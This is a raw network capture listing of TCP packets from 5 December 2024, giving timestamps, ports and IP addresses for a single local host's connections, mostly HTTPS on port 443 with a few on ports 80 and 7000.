Dec 5, 2024 14:01:51.926831961 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.926840067 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.927042961 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.932231903 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.932252884 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.932324886 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.932333946 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.933542013 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.933861971 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.933882952 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.933969021 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.933969021 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.933974981 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.937505007 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.068562031 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.068587065 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.068690062 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.068706036 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.068891048 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.076255083 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.076273918 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.076702118 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.076710939 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.076767921 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.082916975 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.082935095 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.083292961 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.083301067 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.083362103 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.084474087 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.084496975 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.084575891 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.084592104 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.084611893 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.085609913 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.089443922 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.089462042 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.089590073 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.089600086 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.089663982 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.090751886 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.090770960 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.090847969 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.090847969 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.090857029 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.090970993 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.095485926 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.095509052 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.095588923 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.095597982 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.095686913 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.098231077 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.098248959 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.098335028 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.098342896 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.098403931 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.101361990 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.101382017 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.101471901 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.101480007 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.101588011 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.105676889 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.105695009 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.105794907 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.105794907 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.105802059 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.105850935 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.106844902 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.106868982 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.106904030 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.106911898 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.106972933 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.112780094 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.112801075 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.112910986 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.112920046 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.112993002 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.113122940 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.113141060 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.113205910 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.113214016 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.113307953 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.113909006 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.113971949 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.114296913 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.114881039 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.114895105 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.114950895 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.114958048 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.117985010 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.118000031 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.118105888 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.118107080 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.118115902 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.118283987 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.119813919 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.119832993 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.120004892 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.120004892 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.120013952 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.120137930 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.123980045 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.123997927 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.124154091 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.124162912 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.124242067 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.126614094 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.126637936 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.126717091 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.128304958 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.128320932 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.200525045 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.201056004 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.201081038 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.201600075 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.201606989 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.262269974 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.262293100 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.262398958 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.262412071 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.262424946 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.262490988 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.271620989 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.271641016 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.271718025 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.271725893 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.271754026 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.271790981 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.276895046 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.276931047 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.277030945 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.277040005 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.277170897 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.277785063 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.277802944 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.277956009 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.277964115 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.278142929 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.282917023 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.282934904 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.285448074 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.285465002 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.285495043 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.285504103 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.285586119 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.285586119 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.285594940 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.285623074 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.286771059 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.288659096 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.288676977 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.288757086 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.288764954 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.288817883 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.293210030 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.293226957 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.293279886 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.293288946 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.293332100 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.293925047 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.293941975 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.293977976 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.293984890 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.294014931 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.294035912 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.299767971 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.299786091 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.299864054 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.299864054 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.299873114 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.299907923 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.299957037 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.299979925 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.300019026 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.300025940 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.300055027 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.300097942 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.305582047 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.305598974 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.305675983 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.305684090 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.306031942 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.308060884 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.308079004 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.308161020 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.308188915 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.308219910 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.311418056 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.311440945 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.311502934 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.311511993 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.311546087 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.311567068 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.317162991 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.317179918 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.317214966 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.317223072 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.317244053 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.317270041 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.342405081 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.342420101 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.468239069 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.468264103 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.468317986 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.468331099 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.468373060 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.468390942 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.468924999 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.469003916 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.469007969 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.469237089 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.472534895 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:52.475797892 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:52.475822926 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:52.517373085 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.517383099 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.640341043 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.640366077 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.640419960 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.640448093 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.640505075 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.643615007 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.643627882 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.643639088 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.643645048 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.678368092 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.678392887 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.678471088 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.683146000 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.683161974 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.755464077 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.756531000 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.756558895 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.757644892 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.757652044 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.764894009 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.765654087 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.765686035 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.766212940 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:52.766220093 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:52.934941053 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:52.937038898 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.937073946 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.937171936 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.937760115 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:52.937828064 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:52.937885046 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:52.938328028 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:52.941812038 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.941829920 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.943416119 CET	49815	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:52.946172953 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:52.980539083 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.980614901 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.984714985 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.984723091 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:52.985069036 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:52.985074043 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.054721117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:53.063409090 CET	80	49815	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:53.065540075 CET	49815	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:53.065897942 CET	80	49826	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:53.067744017 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:53.067910910 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:53.187949896 CET	80	49826	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:53.192874908 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.192943096 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.192987919 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.198498964 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.198517084 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.198525906 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.198533058 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.202835083 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.202899933 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.203044891 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.206639051 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.206669092 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.206773043 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.207945108 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.207957029 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.207978010 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.207983017 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.210622072 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.210635900 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.214366913 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.214402914 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.214495897 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.216706038 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.216720104 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.276329041 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.280416965 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.280426979 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.281115055 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.281121016 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.382024050 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.382061958 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.382152081 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.382525921 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.382539988 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.418881893 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.418932915 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.419037104 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.419467926 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.419481993 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.455090046 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.455141068 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.455225945 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.455794096 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.455809116 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.459702969 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.459729910 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.459744930 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.459798098 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.459814072 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.459827900 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.459875107 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.646536112 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.646569014 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.646749020 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.646764040 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.647006989 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.694802046 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.694822073 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.695008993 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.695023060 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.695702076 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.718607903 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.718631983 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.718873024 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.718888044 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.719120026 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.719135046 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.719145060 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.719306946 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.719347954 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.719400883 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.723422050 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.723453999 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.723567009 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.724095106 CET	49833	443	192.168.2.6	13.107.246.63
